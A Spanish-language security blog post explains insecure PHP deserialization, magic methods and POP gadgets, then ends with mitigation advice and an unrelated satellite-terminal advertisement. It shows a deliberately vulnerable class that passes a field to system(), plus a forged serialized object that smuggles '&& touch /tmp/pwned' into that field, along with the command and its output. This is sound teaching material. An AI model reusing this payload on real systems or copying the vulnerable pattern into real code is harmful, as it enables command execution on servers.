blog

Del código a la explotación: deserialización en PHP

Ciberseguridad y Cifra

La seguridad en el desarrollo web es un tema crítico que a menudo se pasa por alto. Uno de los aspectos menos comprendidos, pero potencialmente vulnerables, es la serialización y deserialización de datos. La serialización se utiliza para generar representaciones almacenables de un valor, de forma que se pueden almacenar o enviar valores sin perder su tipo o estructura. Mientras que, la deserialización convierte el valor almacenado en un valor del tipo pertinente (como PHP), de forma que pueda ser entendido por el lenguaje y se pueda interactuar con él.

En PHP, las funciones serialize() y unserialize() son comunes para este propósito, pero pueden ser peligrosas si no se utilizan con cuidado. En este artículo, exploraremos en profundidad cómo la deserialización insegura en PHP puede llevar a la ejecución de código arbitrario en el servidor, utilizando técnicas avanzadas como las «POP Chains» (Property Oriented Programming Chains) y los «Magic Methods».

Este artículo es especialmente relevante para los desarrolladores de PHP, profesionales de ciberseguridad y cualquier persona interesada en entender las implicaciones de seguridad que rodean a la serialización y deserialización en PHP. A través de ejemplos prácticos, demostraremos cómo un atacante podría explotar estas funciones para comprometer un sistema. También discutiremos las mejores prácticas para mitigar estos riesgos y cómo protegerse contra tales ataques.

 

Serialización

Para mostrar cómo se ve un objeto serializado, usaremos la siguiente clase `User` de ejemplo:

<?php
class User {
    public $firstname;
    public $lastname;
    public $age;
    public function __construct($firstname, $lastname, $age) {
        $this->firstname = $firstname;
        $this->lastname = $lastname;
        $this->age = $age;
    }
}
$user = new User ("Yuba", "Gonzalez", 37);
echo serialize($user) . "\n";
?>

Cuando ejecutamos este código obtenemos el siguiente objeto serializado

O:4:"User":3:{s:9:"firstname";s:4:"Yuba";s:8:"lastname";s:8:"Gonzalez";s:3:"age";i:37;}

Como se puede ver, se forma lo que la documentación llama ‘typed array’, que consiste en una lista en la que se define el tipo de valor, la longitud y el contenido de este.

 

Deserialización

La deserialización es el proceso contrario a la serialización, en el que se desempacan los valores serializados para obtener el objeto, pudiendo así utilizar los datos de este.

Cuando un objeto se deserializa, se crea un nuevo valor PHP con los datos almacenados. De esta forma, si el usuario tiene control sobre lo que se le pasa a la función unserialize(), tiene control sobre las propiedades del objeto.

 

Magic Methods

Los Magic Methods son métodos que modifican el flujo del código PHP. Estos métodos se ejecutan cuando se realizan ciertas acciones sobre un objeto.

En la documentación, contamos con una lista de cuales son:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone(), __debugInfo()

Los más comunes que se pueden explotar en deserialización son:

  • __destruct(): se llama cuando termina la ejecución del script o cuando no existan más referencias al objeto, y por tanto este se destruye.
  • __wakeup():  se llama cuando un objeto se deserializa.
  • __unserialize(): si este método existe, se llama este en vez de __wakeup().
  • __toString(): se utiliza para representar el objeto como una string, si este método existe, se llamará al intentar imprimirlo.

El método que se puede explotar en serialización es:

  • __sleep(): este método se llama cuando el objeto se serializa.

 

Explotación: POP Gadgets

Si el usuario controla un valor que se le pase a la función unserialize() puede controlar los valores que contiene el objeto y, por tanto, puede controlar las acciones que harán los Magic Methods que se ejecuten, así como las funciones que estos mismos llamen.

Partiendo del ejemplo del principio, vamos a mostrar cómo se podría aprovechar un atacante para explotar estos conceptos.

<?php
class User {
    private $firstname;
    private $lastname;
    private $age;
    private $is_admin;
    public function __construct($firstname, $lastname, $age) {
        $this->firstname = $firstname;
        $this->lastname = $lastname;
        $this->age = $age;
        $this->is_admin = False;
    }
    public function __wakeup() {
        if ($this->is_admin) {
            $this->createFolder();
            echo "Folder created!\n";
        } else {
            echo "Sorry we are not storing non-admins data.\n";
        }
    }
    private function createFolder() {
        system("mkdir /tmp/" . $this->firstname . "_" . $this->lastname);
    }
}
$user_data = unserialize($argv[1]);
?>

En este código, podemos ver cómo la clase User ahora tiene un atributo más, is_admin, el cual siempre está en False. El método __wakeup() comprobará si is_admin es True, y si lo es llamará al método createFolder(), que creará una carpeta con el nombre de usuario. Para simplicidad del código vamos a pasarle directamente el valor por parámetro a unserialize() para ver cómo se comporta.

Para proceder, vamos a forjar, nuestro objeto serializado con los valores maliciosos.

<?php
class User {
    public $firstname;
    public $lastname;
    public $age;
    public $is_admin;
    public function __construct($firstname, $lastname, $age) {
        $this->firstname = $firstname;
        $this->lastname = $lastname;
        $this->age = $age;
        $this->is_admin = True;
    }

}

$user = new User("Yuba", "Gonzalez && touch /tmp/pwned", 38);
$user_data = serialize($user);
echo $user_data . "\n";
?>

Ejecutando esto, tenemos nuestro objeto serializado malicioso, el cual, tiene el atributo is_admin a True, y además incluye un lastname malicioso con el que se obtiene ejecución de código, creando como prueba de concepto el fichero /tmp/pwned

O:4:"User":4:{s:9:"firstname";s:4:"Yuba";s:8:"lastname";s:28:"Gonzalez && touch /tmp/pwned";s:3:"age";i:38;s:8:"is_admin";b:1;}

Ahora probamos a pasárselo a nuestro código de prueba:

$ php user.php 'O:4:"User":4:{s:9:"firstname";s:4:"Yuba";s:8:"lastname";s:28:"Gonzalez && touch /tmp/pwned";s:3:"age";i:38;s:8:"is_admin";b:1;}'
Folder created!
$ ls -la /tmp/pwned
-rw-r--r--@ 1 pwnbox wheel 0 7 sep 14:17 /tmp/pwned

Ha entrado en la parte de is_admin == True y ha ejecutado el código que hemos inyectado.

Conclusiones

Para evitar este tipo de ataques, es fundamental comprobar que el usuario nunca tiene control sobre los datos de los métodos de serialización, y si fuera estrictamente necesario, estos valores tendrían que pasar determinados filtros para evitar comportamientos inesperados.

Finalmente, recalcar que las POP Chains están presentes en la mayoría de módulos más populares de PHP, y que muchos de sus creadores no tienen intención de arreglarlos, ya que por sí solo no presentan ninguna vulnerabilidad. Esto deja el problema sobre los programadores que utilizan estos módulos, que deben tener cuidado con los valores que reciben del usuario y en los métodos que se emplean.

 

Bibliografía

 

Marcelino Siles Rubia, consultor en Ciberseguridad en Cipherbit-Grupo Oesía

Descubre más

SGoSat

Familia de terminales SATCOM On The Move (SOTM) para instalación vehicular y conexión estable en movilidad

SGoSat es una familia de terminales SOTM (Satellite Comms On The Move) de alta tecnología que se instalan en un vehículo, brindando la capacidad de apuntar y mantener una conexión estable con el satélite cuando el vehículo está en movimiento en cualquier tipo de condiciones.

La familia SGoSat está compuesta por terminales versátiles, que pueden instalarse en cualquier tipo de plataforma: trenes y buses, vehículos militares y / o gubernamentales, aeronaves, barcos, etc. Al haber sido diseñados originariamente para el sector militar, los terminales SGoSat son extremadamente fiables y robustos, ya que integran componentes de alto rendimiento que cumplen con las normativas medioambientales y EMI / EMC más exigentes. El producto utiliza antenas de bajo perfil y alta eficiencia, así como una unidad de posicionador y seguimiento de alto rendimiento, que permiten la operación del terminal en cualquier parte del mundo.

Con el fin de satisfacer las diversas necesidades de sus clientes, INSTER ha desarrollado terminales de banda única y terminales de doble banda en las frecuencias X, Ka y Ku.

La familia de terminales SGoSat también se puede configurar con una variada gama de radomos (incluidas opciones balísticas), adaptándose a los requisitos del cliente.